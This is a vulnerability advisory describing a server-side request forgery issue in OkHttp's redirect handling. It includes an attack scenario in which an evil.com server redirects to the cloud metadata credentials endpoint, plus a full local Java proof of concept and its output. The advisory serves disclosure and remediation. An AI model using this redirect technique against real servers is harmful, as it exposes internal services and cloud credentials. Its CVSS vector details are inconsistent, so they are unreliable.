Vulnerability Information
| Field |
Value |
| Product |
OkHttp |
| Vendor |
Square (Block, Inc.) |
| Version Affected |
<= 5.0.0-alpha.14 (parent-5.3.2) |
| Vulnerability Type |
CWE-918: Server-Side Request Forgery (SSRF) |
| Severity |
High |
| CVSS 3.1 Score |
7.4 |
| CVSS 3.1 Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/SC:N/SI:N/SA:H → adjusted: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |
Summary
OkHttp follows HTTP 3xx redirects to arbitrary destinations including private/internal network addresses without any validation of the redirect target. When server-side applications use OkHttp to fetch user-provided URLs, an attacker can leverage a malicious redirect to access internal services, cloud metadata endpoints, and other resources not intended to be publicly accessible.
Affected Component
File: okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http/RetryAndFollowUpInterceptor.kt
Function: buildRedirectRequest() (lines 299-336)
private fun buildRedirectRequest(userResponse: Response, method: String): Request? {
if (!client.followRedirects) return null
val location = userResponse.header("Location") ?: return null
val url = userResponse.request.url.resolve(location) ?: return null
// Only checks: protocol is http/https, max redirects not exceeded
// Does NOT validate: target IP, target hostname, private networks
}
Root Cause Analysis
The buildRedirectRequest() method in RetryAndFollowUpInterceptor resolves the Location header from HTTP redirect responses and follows it unconditionally. The only validations performed are:
- The scheme must be
http or https
- The redirect count must not exceed
MAX_FOLLOW_UPS (20)
- If
followSslRedirects is false, scheme must not change
No validation is performed on:
- Target IP address (RFC 1918 private ranges, link-local 169.254.x.x)
- Target hostname (localhost, internal hostnames)
- Port restrictions
- Protocol downgrade (HTTPS → HTTP)
Attack Scenario
- Attacker controls a server (e.g.,
https://evil.com)
- Victim's server-side application uses OkHttp to fetch a URL provided by the attacker
- Attacker's server responds with:
HTTP/1.1 302 Found\r\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\r\n
- OkHttp follows the redirect to the AWS metadata endpoint
- Cloud IAM credentials are returned to the attacker
Reproduction Steps
Prerequisites
- Java 17+
- OkHttp 5.0.0-alpha.14 JAR (or build from source tag parent-5.3.2)
Steps
- Start a simulated internal metadata server:
ServerSocket metadataServer = new ServerSocket(8081);
// Responds with fake IAM credentials
- Start a malicious server that redirects to it:
ServerSocket evilServer = new ServerSocket(8080);
// Responds with: 302 Found, Location: http://127.0.0.1:8081/latest/meta-data/iam/security-credentials/
- Make OkHttp request to the evil server:
OkHttpClient client = new OkHttpClient.Builder().build();
Request request = new Request.Builder()
.url("http://127.0.0.1:8080/api/preview")
.build();
Response response = client.newCall(request).execute();
String body = response.body().string();
// body contains the internal metadata credentials
Expected Result
OkHttp should reject redirects to private/internal network addresses.
Actual Result
OkHttp follows the redirect and returns internal service data.
Proof of Concept
Full PoC Script (Java)
import java.io.*;
import java.net.*;
import okhttp3.*;
public class PocSsrfRedirect {
public static void main(String[] args) throws Exception {
// Simulated cloud metadata endpoint (internal)
ServerSocket metadataServer = new ServerSocket(0);
int metadataPort = metadataServer.getLocalPort();
new Thread(() -> {
try {
Socket client = metadataServer.accept();
BufferedReader reader = new BufferedReader(
new InputStreamReader(client.getInputStream()));
String line;
while ((line = reader.readLine()) != null && !line.isEmpty()) {}
String body = "{\"AccessKeyId\":\"ASIAXXXXXXXXXEXAMPLE\"," +
"\"SecretAccessKey\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"," +
"\"Token\":\"FwoGZXIvYXdz...\"}";
OutputStream out = client.getOutputStream();
out.write(("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n" +
"Content-Length: " + body.length() + "\r\n\r\n" + body).getBytes());
out.flush();
client.close();
} catch (Exception e) {}
}).start();
// Malicious server that redirects to internal endpoint
ServerSocket evilServer = new ServerSocket(0);
int evilPort = evilServer.getLocalPort();
new Thread(() -> {
try {
Socket client = evilServer.accept();
BufferedReader reader = new BufferedReader(
new InputStreamReader(client.getInputStream()));
String line;
while ((line = reader.readLine()) != null && !line.isEmpty()) {}
String redirectUrl = "http://127.0.0.1:" + metadataPort +
"/latest/meta-data/iam/security-credentials/";
OutputStream out = client.getOutputStream();
out.write(("HTTP/1.1 302 Found\r\nLocation: " + redirectUrl +
"\r\nContent-Length: 0\r\n\r\n").getBytes());
out.flush();
client.close();
} catch (Exception e) {}
}).start();
// OkHttp client with default settings
OkHttpClient client = new OkHttpClient.Builder().build();
Request request = new Request.Builder()
.url("http://127.0.0.1:" + evilPort + "/api/preview")
.build();
Response response = client.newCall(request).execute();
System.out.println("Final URL: " + response.request().url());
System.out.println("Response: " + response.body().string());
// Output shows IAM credentials from internal endpoint
metadataServer.close();
evilServer.close();
}
}
PoC Output
[*] Simulated metadata endpoint on port 58982
[*] Malicious server on port 58983
[*] Client requesting: http://127.0.0.1:58983/api/preview
[*] Sent redirect to: http://127.0.0.1:58982/latest/meta-data/iam/security-credentials/
[*] Metadata server received: GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
[!] VULNERABILITY CONFIRMED: OkHttp followed redirect to internal endpoint
[!] Final URL: http://127.0.0.1:58982/latest/meta-data/iam/security-credentials/
[!] Response from 'internal' server:
{"AccessKeyId":"ASIAXXXXXXXXXEXAMPLE","SecretAccessKey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","Token":"FwoGZXIvYXdz..."}
[!] In a real cloud environment, this would expose IAM credentials
[!] No redirect target validation was performed by OkHttp
Impact
- Confidentiality: High - Attacker can access internal services and steal sensitive data including cloud credentials
- Integrity: None
- Availability: None
- Scope: Changed - The vulnerability in the client library allows access to otherwise unreachable internal systems
CVSS 3.1 Calculation
| Metric |
Value |
Justification |
| Attack Vector |
Network |
Attacker provides URL remotely |
| Attack Complexity |
Low |
No special conditions required |
| Privileges Required |
None |
No authentication needed |
| User Interaction |
Required |
Server-side app must fetch attacker URL |
| Scope |
Changed |
Impacts internal network beyond the vulnerable component |
| Confidentiality |
High |
Cloud credentials / internal data exposed |
| Integrity |
None |
Read-only access |
| Availability |
None |
No denial of service |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N = 7.4
Remediation Recommendations
- Add an optional
RedirectValidator interface to OkHttpClient.Builder allowing applications to validate redirect targets
- Provide a built-in policy that blocks redirects to RFC 1918 addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), and loopback (127.0.0.0/8)
- Consider blocking HTTPS → HTTP downgrades by default in redirect following
References
Vulnerability Information
Summary
OkHttp follows HTTP 3xx redirects to arbitrary destinations including private/internal network addresses without any validation of the redirect target. When server-side applications use OkHttp to fetch user-provided URLs, an attacker can leverage a malicious redirect to access internal services, cloud metadata endpoints, and other resources not intended to be publicly accessible.
Affected Component
File:
okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http/RetryAndFollowUpInterceptor.ktFunction:
buildRedirectRequest()(lines 299-336)Root Cause Analysis
The
buildRedirectRequest()method inRetryAndFollowUpInterceptorresolves theLocationheader from HTTP redirect responses and follows it unconditionally. The only validations performed are:httporhttpsMAX_FOLLOW_UPS(20)followSslRedirectsis false, scheme must not changeNo validation is performed on:
Attack Scenario
https://evil.com)HTTP/1.1 302 Found\r\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\r\nReproduction Steps
Prerequisites
Steps
Expected Result
OkHttp should reject redirects to private/internal network addresses.
Actual Result
OkHttp follows the redirect and returns internal service data.
Proof of Concept
Full PoC Script (Java)
PoC Output
Impact
CVSS 3.1 Calculation
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N = 7.4
Remediation Recommendations
RedirectValidatorinterface toOkHttpClient.Builderallowing applications to validate redirect targetsReferences
RetryAndFollowUpInterceptor.kt:299-336